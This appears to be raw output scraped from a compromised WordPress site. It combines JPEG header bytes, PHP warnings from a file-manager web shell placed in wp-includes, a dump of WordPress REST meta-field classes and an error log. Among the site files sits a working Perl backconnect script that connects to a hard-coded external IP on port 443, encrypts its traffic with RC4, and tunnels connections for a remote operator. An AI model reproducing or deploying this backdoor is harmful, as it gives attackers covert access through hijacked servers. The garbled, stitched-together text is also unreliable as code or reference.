���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��403
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 116

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 243

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 244

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 245

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 246

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php:1) in /home/blacotuu/deliciouskenya.com/wp-includes/IXR/index.php on line 248
class-wp-rest-comment-meta-fields.php000064400000001577151075364760013641 0ustar00post_type = $post_type; } /** * Retrieves the post meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'post'; } /** * Retrieves the post meta subtype. * * @since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->post_type; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @see register_rest_field() * * @return string The REST field type. */ public function get_rest_field_type() { return $this->post_type; } } class-wp-rest-meta-fields.php000064400000044122151075364760012172 0ustar00get_rest_field_type(), 'meta', array( 'get_callback' => array( $this, 'get_value' ), 'update_callback' => array( $this, 'update_value' ), 'schema' => $this->get_field_schema(), ) ); } /** * Retrieves the meta field value. * * @since 4.7.0 * * @param int $object_id Object ID to fetch meta for. * @param WP_REST_Request $request Full details about the request. * @return array Array containing the meta values keyed by name. */ public function get_value( $object_id, $request ) { $fields = $this->get_registered_fields(); $response = array(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; $all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false ); if ( $args['single'] ) { if ( empty( $all_values ) ) { $value = $args['schema']['default']; } else { $value = $all_values[0]; } $value = $this->prepare_value_for_response( $value, $request, $args ); } else { $value = array(); if ( is_array( $all_values ) ) { foreach ( $all_values as $row ) { $value[] = $this->prepare_value_for_response( $row, $request, $args ); } } } $response[ $name ] = $value; } return $response; } /** * Prepares a meta value for a response. * * This is required because some native types cannot be stored correctly * in the database, such as booleans. We need to cast back to the relevant * type before passing back to JSON. * * @since 4.7.0 * * @param mixed $value Meta value to prepare. * @param WP_REST_Request $request Current request object. * @param array $args Options for the field. * @return mixed Prepared value. */ protected function prepare_value_for_response( $value, $request, $args ) { if ( ! empty( $args['prepare_callback'] ) ) { $value = call_user_func( $args['prepare_callback'], $value, $request, $args ); } return $value; } /** * Updates meta values. * * @since 4.7.0 * * @param array $meta Array of meta parsed from the request. * @param int $object_id Object ID to fetch meta for. * @return null|WP_Error Null on success, WP_Error object on failure. */ public function update_value( $meta, $object_id ) { $fields = $this->get_registered_fields(); $error = new WP_Error(); foreach ( $fields as $meta_key => $args ) { $name = $args['name']; if ( ! array_key_exists( $name, $meta ) ) { continue; } $value = $meta[ $name ]; /* * A null value means reset the field, which is essentially deleting it * from the database and then relying on the default value. * * Non-single meta can also be removed by passing an empty array. */ if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) { $args = $this->get_registered_fields()[ $meta_key ]; if ( $args['single'] ) { $current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true ); if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) { $error->add( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); continue; } } $result = $this->delete_meta_value( $object_id, $meta_key, $name ); if ( is_wp_error( $result ) ) { $error->merge_from( $result ); } continue; } if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) { $error->add( 'rest_invalid_stored_value', /* translators: %s: Custom field key. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); continue; } $is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name ); if ( is_wp_error( $is_valid ) ) { $is_valid->add_data( array( 'status' => 400 ) ); $error->merge_from( $is_valid ); continue; } $value = rest_sanitize_value_from_schema( $value, $args['schema'] ); if ( $args['single'] ) { $result = $this->update_meta_value( $object_id, $meta_key, $name, $value ); } else { $result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value ); } if ( is_wp_error( $result ) ) { $error->merge_from( $result ); continue; } } if ( $error->has_errors() ) { return $error; } return null; } /** * Deletes a meta value for an object. * * @since 4.7.0 * * @param int $object_id Object ID the field belongs to. * @param string $meta_key Key for the field. * @param string $name Name for the field that is exposed in the REST API. * @return true|WP_Error True if meta field is deleted, WP_Error otherwise. */ protected function delete_meta_value( $object_id, $meta_key, $name ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_delete', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return true; } if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) { return new WP_Error( 'rest_meta_database_error', __( 'Could not delete meta value from database.' ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Updates multiple meta values for an object. * * Alters the list of values in the database to match the list of provided values. * * @since 4.7.0 * @since 6.7.0 Stores values into DB even if provided registered default value. * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param array $values List of values to update to. * @return true|WP_Error True if meta fields are updated, WP_Error otherwise. */ protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) { $meta_type = $this->get_meta_type(); if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } $current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( ! is_array( $current_values ) ) { $current_values = array(); } $to_remove = $current_values; $to_add = $values; foreach ( $to_add as $add_key => $value ) { $remove_keys = array_keys( array_filter( $current_values, function ( $stored_value ) use ( $meta_key, $subtype, $value ) { return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value ); } ) ); if ( empty( $remove_keys ) ) { continue; } if ( count( $remove_keys ) > 1 ) { // To remove, we need to remove first, then add, so don't touch. continue; } $remove_key = $remove_keys[0]; unset( $to_remove[ $remove_key ] ); unset( $to_add[ $add_key ] ); } /* * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise, * `delete_metadata` will return false for subsequent calls of the same value. * Use serialization to produce a predictable string that can be used by array_unique. */ $to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) ); foreach ( $to_remove as $value ) { if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } foreach ( $to_add as $value ) { if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } } return true; } /** * Updates a meta value for an object. * * @since 4.7.0 * @since 6.7.0 Stores values into DB even if provided registered default value. * * @param int $object_id Object ID to update. * @param string $meta_key Key for the custom field. * @param string $name Name for the field that is exposed in the REST API. * @param mixed $value Updated value. * @return true|WP_Error True if the meta field was updated, WP_Error otherwise. */ protected function update_meta_value( $object_id, $meta_key, $name, $value ) { $meta_type = $this->get_meta_type(); // Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false. $old_value = get_metadata_raw( $meta_type, $object_id, $meta_key ); $subtype = get_object_subtype( $meta_type, $object_id ); if ( is_array( $old_value ) && 1 === count( $old_value ) && $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value ) ) { return true; } if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) { return new WP_Error( 'rest_cannot_update', /* translators: %s: Custom field key. */ sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ), array( 'key' => $name, 'status' => rest_authorization_required_code(), ) ); } if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) { return new WP_Error( 'rest_meta_database_error', /* translators: %s: Custom field key. */ sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ), array( 'key' => $name, 'status' => WP_Http::INTERNAL_SERVER_ERROR, ) ); } return true; } /** * Checks if the user provided value is equivalent to a stored value for the given meta key. * * @since 5.5.0 * * @param string $meta_key The meta key being checked. * @param string $subtype The object subtype. * @param mixed $stored_value The currently stored value retrieved from get_metadata(). * @param mixed $user_value The value provided by the user. * @return bool */ protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) { $args = $this->get_registered_fields()[ $meta_key ]; $sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype ); if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) { // The return value of get_metadata will always be a string for scalar types. $sanitized = (string) $sanitized; } return $sanitized === $stored_value; } /** * Retrieves all the registered meta fields. * * @since 4.7.0 * * @return array Registered fields. */ protected function get_registered_fields() { $registered = array(); $meta_type = $this->get_meta_type(); $meta_subtype = $this->get_meta_subtype(); $meta_keys = get_registered_meta_keys( $meta_type ); if ( ! empty( $meta_subtype ) ) { $meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) ); } foreach ( $meta_keys as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $default_args = array( 'name' => $name, 'single' => $args['single'], 'type' => ! empty( $args['type'] ) ? $args['type'] : null, 'schema' => array(), 'prepare_callback' => array( $this, 'prepare_value' ), ); $default_schema = array( 'type' => $default_args['type'], 'title' => empty( $args['label'] ) ? '' : $args['label'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => isset( $args['default'] ) ? $args['default'] : null, ); $rest_args = array_merge( $default_args, $rest_args ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null; $type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type; if ( null === $rest_args['schema']['default'] ) { $rest_args['schema']['default'] = static::get_empty_value_for_type( $type ); } $rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] ); if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) { continue; } if ( empty( $rest_args['single'] ) ) { $rest_args['schema'] = array( 'type' => 'array', 'items' => $rest_args['schema'], ); } $registered[ $name ] = $rest_args; } return $registered; } /** * Retrieves the object's meta schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Field schema data. */ public function get_field_schema() { $fields = $this->get_registered_fields(); $schema = array( 'description' => __( 'Meta fields.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'properties' => array(), 'arg_options' => array( 'sanitize_callback' => null, 'validate_callback' => array( $this, 'check_meta_is_array' ), ), ); foreach ( $fields as $args ) { $schema['properties'][ $args['name'] ] = $args['schema']; } return $schema; } /** * Prepares a meta value for output. * * Default preparation for meta fields. Override by passing the * `prepare_callback` in your `show_in_rest` options. * * @since 4.7.0 * * @param mixed $value Meta value from the database. * @param WP_REST_Request $request Request object. * @param array $args REST-specific options for the meta key. * @return mixed Value prepared for output. If a non-JsonSerializable object, null. */ public static function prepare_value( $value, $request, $args ) { if ( $args['single'] ) { $schema = $args['schema']; } else { $schema = $args['schema']['items']; } if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) { $value = static::get_empty_value_for_type( $schema['type'] ); } if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Check the 'meta' value of a request is an associative array. * * @since 4.7.0 * * @param mixed $value The meta value submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return array|false The meta array, if valid, false otherwise. */ public function check_meta_is_array( $value, $request, $param ) { if ( ! is_array( $value ) ) { return false; } return $value; } /** * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting * is specified. * * This is needed to restrict properties of objects in meta values to only * registered items, as the REST API will allow additional properties by * default. * * @since 5.3.0 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead. * * @param array $schema The schema array. * @return array */ protected function default_additional_properties_to_false( $schema ) { _deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' ); return rest_default_additional_properties_to_false( $schema ); } /** * Gets the empty value for a schema type. * * @since 5.3.0 * * @param string $type The schema type. * @return mixed */ protected static function get_empty_value_for_type( $type ) { switch ( $type ) { case 'string': return ''; case 'boolean': return false; case 'integer': return 0; case 'number': return 0.0; case 'array': case 'object': return array(); default: return null; } } } nrvo0hhr000075500000022033151075364760006256 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.177'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); error_log000064400000033044151075364760006503 0ustar00[19-Jul-2025 06:57:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [19-Jul-2025 12:29:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [22-Jul-2025 05:22:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [22-Jul-2025 07:05:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [22-Jul-2025 17:46:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [23-Jul-2025 04:39:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [24-Jul-2025 18:00:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [25-Jul-2025 02:15:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [10-Aug-2025 06:08:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [10-Aug-2025 06:08:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [10-Aug-2025 06:08:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [10-Aug-2025 06:08:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [17-Aug-2025 11:55:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [17-Aug-2025 11:57:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in 